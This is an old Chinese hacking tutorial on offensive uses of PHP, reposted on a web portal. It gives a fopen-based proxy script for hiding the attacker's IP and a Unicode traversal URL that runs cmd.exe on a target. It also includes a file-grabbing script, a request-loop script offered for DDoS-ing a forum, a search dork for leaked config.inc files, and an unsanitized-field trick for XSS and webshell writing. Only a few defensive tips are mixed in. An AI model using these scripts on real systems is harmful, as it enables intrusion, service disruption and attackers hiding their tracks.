分享
 
 
 

PHP在安全方面的另类应用

王朝php·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

1.远程文件

PHP是一门具有丰富特性的语言,它提供了大量函数,使程序员能够方便地实现各种功能,远程文件就是一个很好的例子:

代码

<?php

$fp=@Fopen($url,"r") or die ("cannot open $url");

while($line=@fgets($fp,1024)) {

$contents.=$line;

}

echo $contents; //显示文件内容

fclose($fp); //关闭文件

?>

以上是一段利用Fopen函数打开文件的代码,由于Fopen函数支持远程文件,使得它应用起来相当有趣,将以上代码保存为Proxy.php,然后后提交:

代码

/proxy.php?url=http://www.hacker.com.cn/bbs

这时候你会发现论坛下方显示的IP地址变成了PHP脚本所处服务器的IP地址。Fopen函数可以从任何其Web或FTP站点读取文件,事实上PHP的大多数文件处理函数对远程文件都是透明的,比如请求:

代码

/proxy.php?url=http://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir

这样实际上是利用了Target主机上的Unicode漏洞,执行了DIR命令。但并不是所有的服务器都支持远程文件的功能,如果你使用的是商业的服务器,很可能会发现远程文件使用不了(如51的虚拟主机),这是因为在商业主机上限制远程文件的功能,往往能够更好的保护服务器的正常运行。你可以通过PHPinfo()查看服务器是否支持这种功能。当然,在PHPinfo()被禁用的情况下,也可以使用Get_cfg_var():

代码

<?php

echo "是否允许使用远程文件(allow_url_Fopen)";

?php

if (get_cfg_var("allow_url_Fopen")=="1")

{

echo("<font color=green><b>是</b></font>");

}

else echo("<font color=red><b>否</b></font>");

?>

当Allow_url_Fopen一项参数为ON时,即支持远程文件的功能。充分发挥远程文件的特性,我们可以实现许多特殊的功能:如果你是用过PHP Flame的最新版本,你会发现它在集文件夹复制、文本搜索等功能的基础上,又增加了Web间文件传输的功能,依靠这种功能,你可以随意将其他服务器上的文件传送到你的Web目录下。而且,在两台服务器间传送文件有着飞快的传输速度。我们看看实现这个功能的代码:

代码

<?php

$fp = Fopen($_GET['filename'], 'rb'); //打开文件

$data = $tmp = '';

while ( true ) {

$tmp = fgets($fp, 1024);

if ( 0 === strlen($tmp) ) {

break; //跳出while循环

}

$data .= $tmp;

}

fclose($fp); //关闭文件

$file=preg_replace("/^.+\//","",$filename);//转换文件名

//write

$fp = Fopen("$file", 'wb'); //生成文件

fwrite($fp, $data); //写入数据

fclose($fp);

?>

在调用Fopen和Fwrite函数时加入"b"标记,可以使这两个函数安全运用于二进制文件而不损坏数据。在以上脚本提交:

/down.php?filename=http://www.chinaz.com/winrar.zip

这时便会在Down.php的所处目录下生成相应的Winrar.zip文件。如果再配合遍历目录的功能,你将可以实现多个文件夹服务器间的传输。但是,远程文件应该还有更大的发挥空间,比如写SQL Injection攻击的自动脚本,甚至是HTTP的代理服务:

代码

<?

$url = getenv("QUERY_STRING");

if(!ereg("^http",$url)) //检查输入的URL格式

{

echo "例子:<br>http://www.163.com/<br>";

echo "http://www.xxxx.com/list.php?id=600<br>";

echo "当URL为目录时需要在目录后加入"/"";

exit;

}

if($url)

$url=str_replace("\\","/",$url);

$f=@Fopen($url,"r");//打开文件

$a="";

if($f)

{

while(!feof($f))

$a.=@fread($f,8000);//读取文件

fclose($f);

}

$rooturl = preg_replace("/(.+\/)(.*)/i","\\1",$url);//转换根目录

$a = preg_replace("/(src[[:space:]]*=['\"])([^h].*?)/is","\\1$rooturl\\2",$a);

$a = preg_replace("/(src[[:space:]]*=)([^h'\"].*?)/is","\\1$rooturl\\2",$a);//转换图片地址

$a = preg_replace("/(action[[:space:]]*=['\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);

$a = preg_replace("/(action[[:space:]]*=)([^h'\"].*?)/is","\\1$php_self?$rooturl\\2",$a);//转换POST地址

$a = preg_replace("/(<a.+?href[[:space:]]*=['\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);

$a = preg_replace("/(<a.+?href[[:space:]]*=[^'\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);//转换链接地址

$a = preg_replace("/(link.+?href[[:space:]]*=[^'\"])(.*?)/is","\\1$rooturl\\2",$a);

$a = preg_replace("/(link.+?href[[:space:]]*=['\"])(.*?)/is","\\1$rooturl\\2",$a); //转换样式表地址

echo $a;

exit;

?>

在正则表达式的帮助下,以上代码能够自行地将返回页面中包含的链接和图片进行转换,并把页面内的链接自动提交到当前PHP脚本的$url中。例如提交:

/proxy.php?http://www.xfocus.net/

脚本将会返回http://www.xfocus.net/的内容,如图1所示。

图1

当然,这运用的绝对不仅仅是框架的技巧。运用这个脚本你可以远程操作安置在其他服务器的Web后门,或者将肉鸡做成一个简单的HTTP代理,从而更好的隐藏自己的IP。如果使用PHP编写CGI扫描工具,你需要延长PHP的有效运行时间。以下是两种有效的方法,当然你也可以将PHP代码编译成GUI界面,从而解决这个问题。设置PHP的有效运行时间为三分钟:

代码

<? ini_set("max_execution_time",60*3); ?>

<? set_time_limit(60*3); ?>

我们再看看这种功能在DDOS攻击中的应用:

代码

<?php

set_time_limit(60*3);

$url="http://www.xxx.com/bbs/userlist.php?userid=";

for($i=1131;$i<=1180;$i++)

{

$urls=$url.$i; //将$url与$i链接在一起

$f=@Fopen($urls,"r"); //请求$urls

$a=@fread($f,10);//取出部分内容

fclose($f); //关闭$urls

}

?>

以上用For循环不断地请求Userlist.php?userid=$i的内容($i的值每次都是不同的),但是打开后仅仅取出几个字节便关闭这个脚本了。PHP运行在虚拟主机上,10秒钟便可以打开几十个URL,当同时运行多个进程时,便有可能实现DDOS攻击,让对方的论坛迅速崩溃。

限于版面,远程文件的内容就先说到这里了,如果你还有不明白的地方,请参考以下的这篇文章:《在PHP中使用远程文件》

2.错误回显

PHP在默认的情况下打开错误回显,这样可以便于程序员在调试脚本时发现代码的错误,但是这也往往使Web暴露了PHP的代码和服务器的一些数据。PHP对代码的规范性要求比较严格,以下是一种比较常见的错误回显:

warning:file("data/1120\'.htm)-no such file or

directory in /usr/home/xxxxx.com/show.php on line 300

这种错误回显,至少告诉了我们三个信息:服务器的操作系统是LINUX;服务器使用文本数据库;Show.php的第300行代码为"file ("./data/1120/".$data.".htm")"。

这种错误回显,已经足以成为一台服务器致命的漏洞。从另一个利用的角度来看,我们发现一般的PHP错误回都包含了"warning"字符,但是这有什么用呢?我们得先认识一下PHP的库文件。

PHP的Include()和Require()主要是为了支持代码库,因为我们一般是把一些经常使用的函数放到一个独立的文件中,这个独立的文件就是代码库,当需要使用其中的函数时,我们只要把这个代码库包含到当前的文件中就可以了。

最初,人们开发和发布PHP程序的时候,为了区别代码库和主程序代码,一般是为代码库文件设置一个".inc"的扩展名,但是他们很快发现这是一个错误,因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时,我们就会得到该文件的源代码,这是因为当把PHP作为Apache的模块使用时,PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的,一般是".php", ".php3"和".php4"。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中,那么远程攻击者将容易得到这些信息。

按照以往的程序员的习惯,往往会把一些重要的文件设定"config.inc","coon.inc"等形式,如果我们在搜索引?中搜索"warning+config.inc",那么你会发现许多网站都暴露了".inc"文件的代码,甚至包括许多商业和政府网站,如图2所示。

图2

要关闭PHP的错误回显通常有两个方法,第一个是直接修改Php.ini中的设置,这我们以前已经介绍过了;第二种方法是在PHP脚本中加入抑制错误回显的代码,你可以在调用的函数前函数加入"@"字符,或者在PHP的代码顶端加入"error_reporting(0);"的代码,要了解更多的内容请参考PHP手册中的"error_reporting"一节。

3.变量回显

WEN的安全问题主要集中变量的处理上,对变量的处理不当,会导致多种安全问题。先看一下的例子:

代码

<td width="400">

<select name="face">

<option value="1.gif">1.gif</option>

<option value="2.gif">2.gif</option>

......

$face的值按照程序员的意图应仅设定在下拉菜单中供用户选择,但是事实上我们可以通过POST的方法直接指定$face的值骗过程序:

&data=……" target="_blank">http://target/bbs/edit.php?action=reface&u...t>&data=......

程序接到$face的值后未经过任何处理,便将它显示出来了:

<img scr ="<? echo $face; ?>" >

从而导致了跨站脚本攻击等安全问题,用这种方法,你甚至可以向PHP文本数据库中写入WebShell。作为程序员,你可以使用正则表达式检查用户的输入内容。如:

代码

<?php

if (ereg (">",$face)) {

echo "头像有误";

exit;}

?>

这仅是一种简单的检查方法,不要依赖于PHP自动为特殊字符增加"\"的功能,这样往往会让你得到意想不到的恶果。

PHP就一门CGI语言而言,它的功能已不仅仅局限于编写网站,它的一些安全问题也不可避免的存在,如:PHP的Safe Mode并不能真正限制EXE文件的运行;PHP也可以编写GUI界面的程序;由于"include"等函数的存在使得PHP后门根本不可能被查杀;PHP同样能够使用多线程处理命令。以不同的角度看PHP,你才能更充分发挥它功能。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有